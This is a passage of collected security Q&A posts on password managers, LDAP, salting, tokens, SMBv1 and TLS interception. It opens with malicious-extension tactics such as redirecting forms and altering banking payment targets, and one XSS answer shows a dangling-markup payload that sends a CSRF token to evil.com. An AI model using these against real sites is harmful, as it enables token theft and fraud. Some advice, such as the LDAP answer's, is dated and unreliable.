Change the target for forms, so that data is sent to a third party upon submission (user activated submission - this is effectively just changing text)
Modify the values shown on pages (e.g. change the target for online banking payments where a second factor isn't used to confirm this, add a "sorry your payment failed, please try again" message when the page returns a "payment complete" message)
Combine with another application which can read clipboard content, and use the extension to get more useful data into the clipboard (e.g. copying values from logged in sites which are not otherwise visible)

All of these are dependent on the malicious actor being able to make reasonable guesses about what pages the users will visit, but if a large user base is assumed, this becomes a numbers game - someone will probably visit the target page eventually.


Storing KeePass database in cloud. How safe? It certainly would be more convenient to store my KeePass database on either S3, Dropbox, or better yet SpiderOak. My fear is having my cloud storage account compromised then having the credentials recovered by either brute force or some other attack vector. How safe is this? What risks do I need to know about?

You can increase the resiliency of your KeePass database to brute force by increasing the number of PBKDF2 iterations when deriving the database encryption key from your password. You can do this in KeePass under File > Database settings > Security. Personally, I use around 5,000,000 rounds (1 s delay). Remember that mobile devices are slower.


Would a VM such as Virtualbox be my best option for everyday security while working? I run a small business out of my home and I'm not really doing anything labor intensive, no games and I'm not cutting any code or anything of that nature. A lot of what I do is phone based sales, so I'm basically just accessing my web based work gmail account, sending PDF contracts out to be e-signed and storing those on cloud based drive and a lot of browsing for info, finding leads etc.

I could probably get away with a thin client but I just bought a cheap laptop, and I am curious to know if I'm on the right track here by thinking that Virtualbox for everyday business is my best option for security and usability for just one desktop running Windows 10 (and if so maybe I should go with a lighter weight OS).

By using the same VM for browsing, word documents, and email, you are exposing all of your data to the same level of risk.

Instead of doing all of this activity in the VM, consider doing your browsing and email in the VM, but the contract work and bookkeeping stuff on the host OS. That way if you get phished, the attack is limited to the VM, and can't do really nasty stuff like encrypt your docs and hold them for ransom.


LDAP allows conveniently centralised authentication - but can this lead to complacent security practises? Say you work for LargeCorp, you have a LDAP login to access your desktop, access various internal applications etc.

It's convienient because you don't have to independantly manage authentication for each application you use; this is convenient for both yourself - you don't need to remember ten different passwords, and for the developers, who don't need to implement their own authentication.

The problem is - say someone points me to an application which asks for my LDAP username and password - how can I be sure that this isn't a phishing attempt from someone within the organisation? This is a large corperation after all, I can't trust that developers are not incompetent/malicious.

The plausible example I can think of, is a disgruntled employee sends his manager a link to an internal application - 'Hey boss, check out this new tool we've made'. Boss logs in with his LDAP credentials and disgruntled employee now uses the boss's credentials to read his boss's emails.

Out in the wild - we'd suggest that you should use a different password for each website you use - so (assuming I have a perfectly random password) there would be no risk to my other logins by accessing this site. But with LDAP I have to use the same password.

What security principle is there that justifies LDAP centralisation?

LDAP should only be used on an internal network. Therefore, all services using it should be on the internal network, and should be secured from outside access. In fact, you should make sure you have specific firewall rules in place to prevent LDAP access from the Internet, nor should you try to use LDAP on a website on the Internet. It's simply not secure for those purposes. Finally, users should definitely use a different LDAP password than sites they frequent, and the network should be configured to require a new password no more than once every 90 days (72 is the recommended maximum). As long as LDAP is safe behind a firewall, it makes sense that all internal apps use the same protocol, to minimize the number of passwords you need to set.

That said, I can't, in good conscience, recommend LDAP for pretty much anything. It's an old protocol, and has since had a number of useful successors, like JWT, SAML, and OAuth, which not only allow to you use just one password, but also ensure that your password is never visible to the service requesting the authentication. The only thing the service gets is a unique token that verifies that you are who you say you are, plus a unique identifier that may not even be related to your real username. Users can also generally revoke these tokens at any time, and verify that an app is authorized to use those tokens by way of "grants."


How to authenticate a salted password? If only the password hash is stored and the user inputs the original password, how does the program know that it is correct? I guess it could check all the possible salts but if there are 32bit salts then the program has to check all 2^32 salts (worst case) which seems like it would take a really long time.

The answer is simply; the salt is stored alongside the password hash. A typical database scheme would look like;

uid  | username    | password         | password_salt
-----|-------------|------------------|--------------
0    | alice       | 862a6c81b7f8361b | 71e9c02731

The salt is not a secret. It is there to make certain types of attacks orders of magnitude more difficult.

This answer should contain everything you need to know.

If not, then this answer has even more information on the ins and outs of salting.


How do country's block politically charged spam? I have a friend who is returning to China shortly, and I wanted to stay in touch with him so I got his email address.  I was wondering what precautions does China (or any other dictatorial regimes for that matter) have so that I don't send him or anyone else politically charged content?  As far as I know, most of the spam filtering that takes place is based on text analysis and ip reputation. Is this the only methods used or are there more advanced features as well? I would think that if the email is carefully crafted in content and comes from an IP with a good reputation these methods could be evaded. Most of the information on the web I can find seems to talk mostly about blocking websites, not email.

They may use machine learning and data analysis techniques similar to those used for spam filtering to find seditious content. As with spam filters, if you chose your wording carefully, most likely it will get through (but you need to be aware of what wording they are filtering on so it might take some trial and error).

If you want to employ methods of communication which require you to send sensitive information you could opt using SMIME or PGP to encrypt your email's content (providing they let this true).


Encrypt less than one byte of data quickly and securely I know I'll get bashed for this, but here goes: For a project I'm doing, I have a single very important 2-bit integer that I need to encrypt (the "security level" of the program) as fast as possible, while ensuring integrity. However, it is using the same encryption password as certain data at rest. If I encrypt the data with AES-CBC without a difficult key derivation procedure, that would make it easier to bruteforce the key for the data at rest, which is not too good. However, if I do use a difficult key derivation procedure, that would make the program a lot slower.

Is there a way to encrypt less than one byte of data quickly and with integrity verification, without reducing the security of the key derivation? My current thoughts are that the easiest way to do this would be to combine an unpredictable single-byte encryption method with a hashing algorithm with a high collision rate.

You would want to use an authenticated stream cipher, allowing you to encrypt data with individual bit granularity. I would recommend either AES-GCM if you have AES-NI or ChaCha20-poly1305 otherwise. Key derivation is an entirely different concept and which is done separately, before encryption begins.


What security features should a PHP framework have? What security features would you find useful or expect from a PHP framework? I have a PHP framework that I've developed that I'm going to be releasing as an open source project, but I want to make sure that it has appropriate security features. Here is what I have so far:

ACL-support
Prepared statements/parameterized queries
CSRF protectection
XSS protection
Database-based sessions
Form validation/filtering

What else should a PHP framework reasonably include?

Well, building security into a framework is not an easy task. Take for example XSS protection you mentioned. Current trend in Web Application security states that three things are required for dealing with injection-flaws:

input validation
output validation
context-aware output escaping (not an easy task)!

Even when handling all the above server-side, you could still be vulnerable to DOM XSS attack when vulnerable Javascript code has been introduced to the application (and, for example, jQuery might introduce DOM XSS as well).

Personally, I think the most important, and often neglected features of the frameworks are secure defaults and secure code examples. Developers often copy&paste the code or leave settings as default. So if you're introducing tokens as a CSRF protection, add them to every form by default and allow that to be toggled off in code/config.

If you're looking for some kind of a checklist for secure frameworks, there once was an OWASP project (now closed) - Web Application Security Manifesto. It aimed to provide such a testing and is currently the best checklist there is. Also browse through various OWASP cheat sheets to help you with implementing each security controls.


Security with Single Page application I am creating SPA application using Angular. This will serve my two purpose for middle layer on mobile as well website.

Now trying to security my application from XSS, CSRF and also wanted secure authentication mechanism. My services will be Resful stateless services.

This is the flow which I think will help me.

Client App send User ID, Password to server.
Server validate the request and generate token which will get stored in db.
This token = userId + Random Number + TimeStamp
token will send back to client APP.
client APP will store it in local storage or cookie.
With every subsequent request i will validate the token with one store in db.

Problem areas

Where should the token stored? Cookie or local storage?
On server, token need to be stored somewhere. If stored in db that will increase load on DB.
Since I am going to use AJAX request, how should I pass token value Header or body?
Since this same codebase I will use for my website also, How secure is this approach for website?
How to tackle CSRF attack in this case?

I have referred Securing a JavaScript Single Page App with RESTful backend also. But the storing the user id in again Cookies will create security hole. Because both userid and token are stored on client side.

I would recommend utilizing OpenID for authentication. This way you do not have to handle authentication and the storage/maintenance of user credentials in your own DB.

regarding CSRF, with angular its simple. Angular has a built in mechanism that will look for a CSRF token in a specific cookie and than send it as a http header in each request made with Angular's $http module. What your backend needs to do is populate (once per session) the cookie with a cryptographically secure random token (Angular recommend a digest of the user authentication token with a salt) and then validate the correctness of the http header upon request in your REST API.


Does the length of Salt data influence how hard or easy it would be to crack/match a hashed password? Does any guidelines or best practices exist when it come to choose the length of the Salt data. Does it matter in the effort a hack has to put to match the dictionary (or rainbow) table with the  hashed(passoword+salt) stored in DB.

In simple words, is there any ideal length of Salt data. Or choose a long Salt over short Salt. Why?

The length of the salt is not important once it has exceeded the minimum below which pre-calculation becomes cheap.

To quote Wikipedia:

  Early Unix implementations limited passwords to 8 characters and used
  a 12-bit salt, which allowed for 4,096 possible salt values. This was
  an appropriate balance for 1970s computational and storage costs.

By my math, a 12-bit salt means someone could pre-compute rainbow tables for all 4096 salts; assuming a 7-8 character password, all it takes is 16 petabytes...  certainly not out of the reach of many well-funded attackers today. Modern cryptographic algorithms tend toward 8- to 32-character salts in order to raise the bar (see table 2 here).

But I believe the length of the salt does not, for example, meaningfully impact the speed of each password calculation*.  The choice of a good password algorithm will slow computations and lower the speed at which an attacker can mount a brute force attack; whether that algorithm is getting +8 characters of input is not going to make a significant difference compared to +16 characters or +32.

So as long as the salt isn't so small as to make pre-computation feasible, it's doing half of it's job.  (The other half is to prevent Alice and Bob from having the same hash if they have the same password).

*That's my belief...  but I'm not a mathematician or a crypto coder.  Take that statement with a grain of, well, you know...


Is it safe to monitor java process via JMX I'm using java application server behind web application firewall (nginx with TLS & mod_security).

Java application is running in Internal network segment behind WAF.
Requests from the Internet comes to java application server only via WAF which is running on different host in DMZ.

I want to monitor various metrics of java application. JVM provides JMX service out of the box for monitoring and management, so it's very easy to setup java application process monitoring by tools like Nagios & Zabbix. Monitoring server will be running on same network segment as java server or in special Management network segment.

My Questions:

Is it secure to expose JMX service to local network (internal segment)?
Is safe to monitor java application with JMX when application is processing secure data?
If not, should I use some http-jmx bridge like Jolokia and not expose JMX? In this case I'll have to setup manually all the metrics in Nagios/Zabbix. For JMX the standard java JMX metrics are pre-configured.
Is SNMP a good replacement of JMX for monitoring?

You can configure JMX to be exposed on the local network with SSL and various authentication methods and controls enabled.  JMX will be listening on a port different from the Java application.  Assuming that the nginx server is configured to only proxy to the Java server's application port, then without that machine getting compromised, then JMX will not get exposed outside your internal network.
JMX is generally considered safe in this regard.  If you application exposes more metrics through JMX, then there maybe a leakage there, but typically not through the default JVM provided resources.
This wouldn't be any more secure than normal JMX.  If you utilized a local agent to query JMX and push data to Nagios/Zabbix/Graphite, that would be more secure.
Oh, dear lord, no.


How can I decode a message that was encrypted with a one-time pad if I have the key? Can I decode a message that was encrypted with a one-time pad if I have the key used to encrypt it? If so, how?

Yes, you can.

The one-time pad is usually employed as a symmetric encryption, i.e., encryption key and decryption key are the same. It is often as simple as applying XOR of key and message.

Note that the one-time pad suffers from some problems:

You can use a key exactly one time, otherwise the encryption is broken
There is no protection against altering the encrypted message
You need a way to exchange the one time pad keys in a secure way.


Android Application penetration testing Have problem intercepting HTTPS requests of android application.certificates in android are kept under /system/etc/security/cacerts/ which is different from its previos version of os in cacerts.bks format.Also tried to add certificates from device but it did not work.Any help to intercept the proxy.Android vesion ICS 4.0.

You can do this with BURP which will create a fake SSL certificate that the application will probably accept.  If the application is using certificate pinning,  then it becomes more difficult,  you'll have to patch the application in quesiton.


There's still remain anyway to surf 100% anonymously on internet using a computer? There's still a way to be 100% anonymous on internet using a computer?
I know that using a prepaid SIM card you can surf 100% anonymously, as far as your phone hasn't been bought with a credit card that contains your information.

But..what about using a laptop or a desktop computer?

What do you guys think about Whonix project? Can I be 100% anonymous using it?

It is impossible to use the internet without leaking any kind of data. This is true even when you hijack someone else's wifi or use a stolen SIM card and sit behind 7 proxies. You always leave traces and you can be tracked sooner or later.

The effort to remain anonymous increases exponentially with the level of anonymity up to a point where you can only use the internet passively.

There are various kinds of operating systems like Tails, Whonix, etc utilizing Tor and alike to maintain a big amount of anonymity, but even Tor has been convincingly proven to be not completely anonymous after all.

The tinfoil hat paranoia about privacy is vastly overrated.


How is PasswordSafe different from KeePass/OtpKeyProv? Over at Does adding two-factor authentication by OTP really make KeePass more secure the top answer unmistakably states that KeePass is not made more secure by using an OTP. I told a friend I was using PasswordSafe instead of KeePass but then he asked how was that any different and I realized that I trusted the PasswordSafe+YubiKey combination to be secure mostly because they have mutual advertising.

The answers to the SE question mentioned above explain why KeePass is not made more secure by 2-factor-authentication (2FA). Can somebody give the same explanation (whether positive or negative) for PasswordSafe?

When using a YubiKey; PasswordSafe uses a Challenge-Response based on HMAC-SHA1 for the second factor. This functionality is included in the original program with no plugins and there is no recovery method. If you lose the key, you lose your data. I believe this makes it more secure.

Keepass can use OATH HOTP mode (with the OtpKeyProv plugin) and HMAC-SHA1 Challenge-Response mode (with the KeeChallenge plugin). Both of these plugins offer a recovery mode where you can recover the database using a long secret. The security of these systems is only as strong as your ability to secure that secret. It's a long string that you would normally want to store in an encrypted container like a password safe...

Sources:

https://support.yubico.com/support/solutions/articles/15000006481
https://www.yubico.com/why-yubico/for-individuals/password-managers/keepass/
http://richardbenjaminrush.com/keechallenge/


How dangerous is SMBv1? I have a NAS (network disk) from Zylex which stopped working under Windows 10 a while ago. Investigation shows that it uses SMBv1, which was implicated in several ransomware attacks and was therefore disabled by Microsoft. I have not yet found a workaround (I'm still looking) so it seems that my choices are to re-enable SMBv1 (as described in the Microsoft support guide)
or to buy a new NAS.

Recent posts on Zyxel's site suggests that Zyxel are aware of the problem but have no plans to fix it. I have the latest firmware.

We (my wife and I, both retired) have a home network with two laptops, two tablets, two smartphones, a network printer and the NAS, we use internet extensively but not dangerously. We don't click on strange links or the like, but I could imagine us falling for a well-crafted Facebook post or something similar.

So my question is: how dangerous is SMBv1? Should I re-enable SMBv1 or buy a new NAS?

There are a number of CVEs against SMBv1 including:

Arbitrary Code Execution CVE-2017-0148
Denial of Service CVE-2017-0280

So it comes down to what is an acceptable risk for you, and do you try to compensate for it by putting other controls in place like using an AV, a firewall, automatic patching, OpenDNS, etc.

Is it worth it to enable it for now and then look for a replacement for your NAS in the meantime? Only you can answer.

Me, I'd leave it on using all of the above extra security measures and look on Amazon to replace the NAS in the near term.


Is it safe to dial sensitive information into a telephone keypad? I had a banking issue this past week. When I telephoned my bank, the automated system asked me to dial several digits of my bank card and the password that allows me to access my online banking system.

It occurred to me while making those calls that telephones are an analog medium that predates information security. I don't know how easy they would be to tap, but is it feasible for a malicious utility worker to "tap into" the line, record the call, and map the key tones to numbers? The automated voice on the other end would have told an attacker that it was banking information for a certain website.

There is no technical protection that DTMF tones provide.  The sounds are easily decoded using readily available software, or using an online web tool.

However, in the United States, there are strict anti-wiretapping laws that provide severe penalties for anyone caught intercepting a phone call. Anyone working for the phone company would be aware of them.


Does symmetric encryption provide data integrity? Let's say I have one server that encrypts a file with a symmetric key, e.g. AES-CBC, and sends it to clients that decrypt it.  Does that provide data integrity when decrypted?  Or is it possible for someone to tamper with the file while it's still encrypted, and later when the client decrypts it, produce a modified file?

I typically see data integrity and authenticity discussed in terms of using digital signatures or MAC, but never in the context of encryption.  I've also seen benchmarks that show encryption being more expensive than hashing, but that's not my main consideration.

UPDATE

I tried an experiment, where I used the openssl tool in Linux to encrypt a file.  Then, I tried modifying the file in various ways (changing a byte, deleting a byte, appending a byte).  In every case, when I tried decrypting, I would get a "bad decrypt" message.  The commands I used were:

openssl enc -aes-128-cbc -in test -out test.enc
openssl enc -d -aes-128-cbc -in test.enc -out test.dec

Symmetric encryption does not provides integrity. The amount of control that an attacker can have on encrypted data depends on the encryption type; and some specific details of some encryption modes can make the life a bit harder for the attacker if he wants to make surgical modifications. With CBC, the attacker can flip any bit he wishes, provided that he does not mind transforming a dozen other bytes into random junk.

There are recent encryption modes which combine symmetric encryption and checked integrity (with a MAC). These modes ensure both confidentiality and integrity. AES-CBC is not one of them. If you want an encryption mode with integrity, I recommend EAX.

Update: concerning your experiment: CBC is a mode where the source data length must be a multiple of the block cipher block length (16 bytes, for AES). Since an arbitrary input message may have any length, some padding is added: a few bytes, with specific contents such that they can be unambiguously removed upon decryption. In your case, OpenSSL is complaining that, upon decryption, it does not find a proper padding structure. However, if the attacker does not alter the last 32 bytes of the encrypted data, the padding will be undamaged, so alterations of all but the last 32 bytes will remain undetected. And even for the last 32 bytes, there are ways to evade detection with a not-so-small probability.


SSL Communication and Proxy Let us say that I have a client and a server communicating using SSL.

If a hacker sets up a proxy between the client and the server, will he be able to decrypt the data which is being sent?

Depends. In general, no. If the attacker launches a man-in-the-middle attack after HTTPS communication has already started, he can do nothing.

If he launches the attack beforehand, he can do various things. For convenience, let's assume that the server in question is GMail.

Pretend to be mail.google.com: This is a pretty transparent attack. The attacker cannot obtain a trusted signature for his SSL cert, and thus cannot pretend to be Google without throwing an error similar to this one. If the client clicks through this; well, that's the client's fault.
Catch you when you try HTTP: Some people enter http://www.gmail.com, which means that their browser will first try HTTP. Most HTTPS-only sites issue a 301 Moved Permanently redirect, but an attacker can stop this from happening and pretend to be HTTP-GMail (and pretend to be you in communications with the real HTTPS GMail -- individuals don't have/need SSL certs so this impersonation is easily done once your password is with the attacker). Note that the browser icon will no longer have a green padlock in such a case. However, not all mobile browsers visually distinguish between HTTP and HTTPS. Generally it is better to use bookmarks and save history on the client side, and use HSTS on the server side to protect against this.

There used to be many other HTTPS implementation vulnerabilities (they're pretty much all fixed now). There probably still are a few. But most rely on the user not noticing (or blindly clicking through) a warning.


Suricata and rules based on MAC address I'm working on a project to implement SDN in a network. One of my flows is redirecting to the Suricata IDS and the flow works in layer 2 with MAC address.
Since I've read that Snort only works in layer 3, I would like to know if it's possible to write a rule on Suricata that filters on MAC address of source and destination?

Suricata implements a sub- and superset of the Snort language, but doesn't add support for matching on the layer 2.
Recently there has been some work on at least tracking and logging MAC addresses (see https://github.com/OISF/suricata/pull/4975), so L2 is getting a bit more love.
In general, I would suggest opening a feature ticket describing the use cases.


Should client have access to 3rd party API access token? I'm trying to determine whether to use a Token provided by a Third Party service directly, OR issue my own custom Token and store the Third Party Token server side.

Authentication flow

User authenticates their identity through a Third Party (social media based login / identity management). To do this they enter their username and password into the Third Party's login page (exposed as a web view in the Client App), and the Third Party returns to the Client App an 'Authorisation Token'.
Client sends the 'Authorisation Token' to my Server, which in combination with a 'Secret Application Key' (provided by the Third Party) let's the Server exchange the user's 'Authorisation Token' for an 'Access Token' (the token I actually need to make API calls on behalf of the user). This happening on the server side allows me to keep my 'Secret Application Key' secret and out of reach of the Client.
At this point I'm unsure whether to either...

Send the Third Party 'Access Token' to the Client so that it can be included in all future calls to the Server which will then call the Third Party's API, OR
Send a custom JWT token to the Client, storing the Third Party's 'Access Token' on the Server for each user.

I intend to make all future calls to the Third Party API server side, however my concerns with each option are:

If the client has their Access Token for the Third Party service, although it only allows access to data for which their account has access, it means they could make additional API calls against my application's call limits.
If the server holds on to this Third Party Access Token (never sending it to the Client), it creates a resource that is sensitive and must be stored and protected. I would think it would be safer to only temporarily have access to the Access Token when needed.

What is the preferred way of handling this?

the oAuth 2 framework doesn't regulate this aspect, so technically either approach is fine. However, what is usually followed is the one where the server maintains the access token, along with the refresh token (in case of offline access, e.g. in google's oAuth framework).

When you are using a third party authentication, you are using it as an IDP (identity provider) so that you can attach the identity with the user. In addition to that, as restricted by the scopes of the access token, you can access some additional services provided by the third party resource server. After this whatever interaction happens between the client and your server should be managed by your own application's session. You should not use the access token as your session token in your application.

To comment on the drawback with this approach as you remarked:

  If the server holds on to this Third Party Access Token (never sending it to the Client), it creates a resource that is sensitive and must be stored and protected. I would think it would be safer to only temporarily have access to the Access Token when needed.

Even if the access token is given back to your client, you would still have to ensure that it is stored on the client securely. And it is easier to provide that security on server than on client.

  Send the Third Party 'Access Token' to the Client so that it can be included in all future calls to the Server which will then call the Third Party's API,

This seems to be not a very good idea for the other reason that's it's wholly redundant in this case to route the request through your server. If the client has the access token (which is usually a bearer token), it can directly communicate with the third party resource server. Unless of course the third party server restricts access based on IP whitelisting or such other means. Again in that case it's better to have your own custom session between your client and server and let the server talk to the resource server using the access token that it saves with itself.


Is Google Keep more secure than LastPass Secure Notes? LastPass is good for storing and using username-password pairs for websites.

Some websites (such as for banks) have more complicated login procedures which don't fit the standard LastPass system.

For these websites, more information must be stored, such as security questions, multiple passwords and grids of characters.

LastPass has a Secure Notes feature, which allows such data to be stored.

Google Keep also allows such data to be stored. I find Google Keep quicker and easier to use and would prefer to use it if there was no security disadvantage.

I stay logged in to LastPass all the time in Chrome, as I do to my
Google account.
I have 2FA enabled on both my LastPass and Google accounts and have a strong password for both.
I have an Android phone which requires fingerprint or pattern login. Once logged in, Keep can be opened without further authentication while LastPass requires further fingerprint or password login. This is the only advantage I can see that LastPass has - Keep can be accessed with just the pattern whereas LastPass requires my finger or its password.

Is there a security reason to use LastPass Secure Notes rather than Google Keep?

P.S. I think that a pattern login is less secure than a password login. Please give me reasons other than this.

LastPass encrypts everything locally on your PC and only sends the encrypted blob to the LastPass servers. Even if someone hacks into LastPass's servers, your data is safe, even your "secure notes" data.

That's not the case for Google Keep. If they manage to get access to Google's servers, presumably they will have access to anything you've stored in Keep.

This also means it would be harder for a disgruntled employee to leak your data, or a government/criminal organization from forcing/bribing/blackmailing someone into doing the same.

Additionally, I assume (perhaps wrongly) that secure notes can be obscured by default, whereas Google Keep leaves everything wide open for shoulder surfing. I'd rather "reveal" one security question at a time for a few seconds rather than have all of them for every site displayed on my monitor or phone for anyone to see.

I'm actually a little surprised LastPass doesn't integrate well with security questions and the like. Other password managers can store these and auto-fill them like passwords. I only know about KeePass (which takes a significant amount of setup to allow this) but I'd guess many of the managers offering form-filler features would allow this as well.


Securing Macbooks in an Enterprise Environment I have been looking online at different forums/websites but was not able to find a direct answer. Does a checklist/process or software exist to secure Macbook computers in a enterprise environment( Healthcare ). Ex: disabling usb and or cd drives, Not allowing specific users to install software.

If you have JAMF Casper Suite, you can utilize the script infrastructure built by many of the following developers and projects:

https://github.com/JAMFSupport
https://github.com/loceee/OSXCasperScripts
https://github.com/rtrouton?tab=repositories

If you use a different Enterprise agent suite, such as Munki, LANDesk, Puppet, Chef, Centrify, et al, you may just want to check out the generic resources at -- https://github.com/macjustice/awesome-macadmin

For one-at-a time installations of secure standards, be sure to check out the Lockdown UI, as well as the original post.

There is also a book, Enterprise Mac Security: El Capitan, Third Edition


Session Hijacked in case javascript blocked If I blocked Javascript to be executed. Then what are the ways by which XSS can occur and what are possible threats in case of intranet application.

Lets say an application was using the Content Security Policy properly,  and an attacker could inject HTML,  but is unable to get JavaScript to execute.  A good paper on this attack scenario is Postcards from the post-xss world,  and one of the attacks that is described is using "dangling markup injection".  In this attack,  the goal is to read a CSRF token on the page using a partial <img> tag,  for example:

<img src='http://evil.com/log.cgi?  ← Injected line with a non-terminated parameter
...
<input type="hidden" name="xsrf_token" value="12345">
...
'← Normally-occurring apostrophe in page text
...
</div>


Securing a private API that's visible on the public Internet I'm making an API for my own software. The API currently used for registering users, viewing users information and updating users information.

In the future it will be used for billing, support etc ...

The API is currently visible online, it's only security currently is that to view or update a users information you need to know their unique ID which is a random number between 1 Billion and 2 Billion.

The only client for my API will be my own front-end that I'm yet to write.

I read about HMAC and OAuth and both solutions seemed extremely complicated.

Here are my current ideas to keep my API secure:

 1. Use HTTPS for all requests.
 2. Don't tell anyone the address of the API (I know I probably shouldn't rely on this)
 3. Send an access key and a secret key to the API and the
    API sends back a token that is valid for 1 hour. (Maybe less)

Would the access key, secret key and HTTPS be sufficient to secure my API?

Quick answer - its not at all adequate to secure your API. Each of those steps has weaknesses which putting them together has not fixed. Good crypto is hard, and try very hard not to reinvent the wheel.

Https - will prevent the exact calls being visible in transit. But not at the user end, or to a "man in the middle" attack.

Hide a number  - look up "security by obscurity". Tl;Dr do not rely on this. Ever.

Pass a token good for an hour - looks open to every form of authentication stealing and interception on the planet. How do you know that the token isn't being misused or used by anything except the intended client? You don't.


Should the bit-strength selection of a child certificate be influenced by the CA or the chain? All things being equal; suppose I have a CA chain that has 1024 bits of RSA encryption.  Does this mean that my selection of a child CA or WebServer certificate gains no benefit from a higher level of encryption?

My theory in that question is that it if it takes an attacker N compute cycles to attack a certificate with 1024 bits of encryption, then they might as well attack the highest one in the chain.

What if the expiration dates of the parent (1024 bit) certificates were 1 year, and the expiration of my stronger (4028 bit) certificate expires in 2 years (or longer).  Is that technically possible?  Is it beneficial?  If so, in what way?

Short answer: Yes, there is some potential benefit for end-entities to choose a public key that is larger than the CA's public key.

The question is not entirely clear, but I presume your situation is that the root or parent uses a 1024-bit RSA key (i.e., the end-entity's cert is signed with a 1024-bit RSA key), and the end-entity uses a 2048-bit RSA key (i.e., the public key being certified and used by the end host is a 2048-bit RSA key).

In this situation, I can see two potential security benefits to using a 2048-bit end-entity cert instead of a 1024-bit end-entity cert:

You are safe against an attacker who can break 1024-bit RSA, but cannot break 2048-bit RSA, and can only eavesdrop but cannot (or is not willing to) actively tamper with connections.  In comparison, if you used a 1024-bit RSA key, then such an attacker could recover your RSA private key, eavesdrop on connections, and decrypt the encrypted traffic.
You are safe against an attacker who, five years from now, breaks 1024-bit RSA but cannot break 2048-bit RSA, assuming that the CA transition to 2048-bit RSA within the next few years (as many CAs are doing and many browsers are requiring).  This is because an attacker who is able to recover the CA's 1024-bit signing key five years from now does not gain anything by doing so, if that key is no longer valid.  The CA's signing key doesn't help the attacker decrypt any SSL-encrypted traffic he may have access to (not even old traffic he recorded long ago).  The only thing an attacker can do with a CA's signing key is sign a new bogus certificate and use it to mount a man-in-the-middle attack on users, but if the CA's root cert and 1024-bit public key is no longer accepted by browsers five years from now, that doesn't help the attacker at all: he's too late.

[In addition, there may be some key management benefits to choosing a 2048-bit key now and being able to continue using it for several years, even if you have to renew your cert to do so, as opposed to having to change keys in a year or two.  To be clear, this is not a security benefit; it is merely a potential logistical benefit, depending upon how annoying you find it to have to change your keys at some point in the future.]

Bottom line: There might be some benefit to choosing an end-entity key that is larger than the CA's key.  However, I don't want to claim the benefit is overwhelming, or that the size of the end-entity public key is all that matters.  Against a powerful attacker who is able and willing to mount active attacks, and who can break 1024-bit RSA within the lifetime of validity of the CA's root cert, you're probably hosed no matter what size public key you choose.


eM Client auto-downloads avatars for e-mail senders, including spammers. Can this be used against me? After a recent upgrade, eM Client started showing me avatars for e-mail senders (including senders of spam messages). On their blog eM says:

  eM Client now automatically downloads and displays avatars for your
  contacts from the web. We download from Gravatar, domain icons and
  more.

Can a spammer use a Gravatar, domain icon, (or "more") as a read receipt to track me?

In short, I doubt it.
I realize that's not a great answer in itself so here's a breakdown of my thought process.

This sort of tactic usually requires a 'unique' resource. For example a tried and true tactic is to embed a link to a 1 pixel image with a unique name/url in a message. If the image gets downloaded later then you know they opened the message.
The key is it's one-to-one.

I haven't used Gravatar before but from what I'm seeing it looks more like a many-to-one relation (many users downloading one image). I don't know what kind of tracking data Gravatar may make available to it's users but I imagine at best (worst?) it would contain the IP addresses of where it was downloaded from. Even assuming the user does have access to that data (which I seriously doubt) I can't think of any way that by itself could be used to correlate a users email.

(Though now that I think about it Gravatar itself might make an interesting vector for confirming email addresses. Generate random email address, attempt to download Gravatar, if successful email address is (more likely to be) legit. But I digress.)

For someone to pull off this sort of thing with a domain icon would probably require a unique domain for each message...doable but not likely.

As for the 'or more', nobody can really answer that without knowing what the 'or more' is. I looked at the site, found the same post you pasted here and I can't seem to find any more detail than that on the 'or more'.

tldr; Probably not but if it bothers you check your settings, maybe there's one to turn off this default behavior. If there isn't you might try reaching out to the devs and suggest the ability to do so.
If you do reach out and they don't seem to be going for the 'security angle' try the 'data angle'. "I don't want it to auto download these images because it's using up my data".
Hope that helps.


Is my domain registrar storing my password in cleartext? I called my domain registrar (unnamed here but not difficult to find out and a major provider) about a year ago to have them change some DNS settings. While on the phone, the customer service rep had me speak my password (letter by letter) to prove my identity. It just dawned on me: is my domain registrar therefore storing my password in cleartext? If not, how was the customer service rep able to know that my password was what I said it was?

Well fairly obviously what happened was not ideal security pracitce, as the agent you spoke to now knows (if they did not before) your username/password.

In terms of storage it would be speculation to say they held it in clear text.  That is one possibility given what you've said.

However if they asked for your whole password then it could be that the agent typed it into a form which then hashed it, compared it with the hashed stored on file and gave a correct/incorrect decision back to the agent.  The letter-by-letter piece could just be to ensure no typos/spelling errors on the password check.


Does any PXE/Full disk encryption password concept like this exist? This question may just show a distinct misunderstanding of things on my part, and I apologize if it is, but I thought I'd put it out here as I don't know where else to ask.

I've been thinking about the issues with attempting to host a fully encrypted server in a remote location - this obviously is realistically almost impossible without including the encryption key in the boot partition, or initial RAM-disk on the machine - both of these methods are far from ideal.

Then I got to thinking about how a password could be passed to a server in a remote location without having physical access. Now, the only time a computer will communicate with the network before it accesses the hard drive is during the PXE boot phase.

My question is as follows: Does anybody have any ideas how this could be utilized to supply an encryption code? Perhaps a router of some variety could pass the PXE request from a particular MAC out to an external server of some kind, which could respond with a partial or encrypted key or some kind of token which could then be used by the remote system to unlock the hard drive?

There´s a project called iPXE that gives you an open source network boot firmware. It can flashed on the network card or chainloaded after the default firmware is started.

You could improve it to add this functionality you describe (if I understood correctly):

the remote server has everything encrypted, so need a password to start.
Your customized iPXE will boot, and ask for a image from a HTTP server, by some secure communication method. Those traditional secure handshake protocols could be used.
the server would validated the request and then send the boot image
this boot image would decrypt the HDD and continue the boot operation

Can be done. And I think people at iPXE could enjoy it.


Use salt as identifier for crypted session id in database based authentication system for webapp I have written a database-based authentication framework for webapps I am planning to program in the future.

The framework is implemented by using the plpgsql-language of a PostgreSQL-Database and therefore the extension pgcrypto is used to encrypt sensitive information.

If the user of a webapp authenticates (so the webserver fires up sth.) like

select authenticate('user@email.com', 'login-token')

the database returns

False, Invalid user / login token

or

True, Successfully logged in, session-id

The session-id is transmitted to the webserver in cleartext, so a cookie can be created, while it is saved in the database by applying a hashing algorithm, which comes with the pgcrypto-extension. This is a kind of bcrypt-implementation (the PostgreSQL-Documentation is kind of vague). The session-id is combined with an unique salt (one per session-id).

So in the session-table you find sth. like

|primary key|user-id|bcrypt(session-id)|other information

The question is about the function which is used to check if the session-id is valid and which user it is about. This function is fired, when the user presents a session-id to the webserver, who is in turn to validate this session-id.

select get_user_by_session_id(session-id)

If there is no additional identifier the select-part has the following problem:

For each row in the session-table the hash-function must be applied to the given session-id.

This works like

select a row of session-table
read the salt and hash the user-given session-id
compare the result with the hash of the actual row
repeat until found a match (return True) or the end of table is reached without any match (return False)

This is kind of slow (slower if more sessions are there).

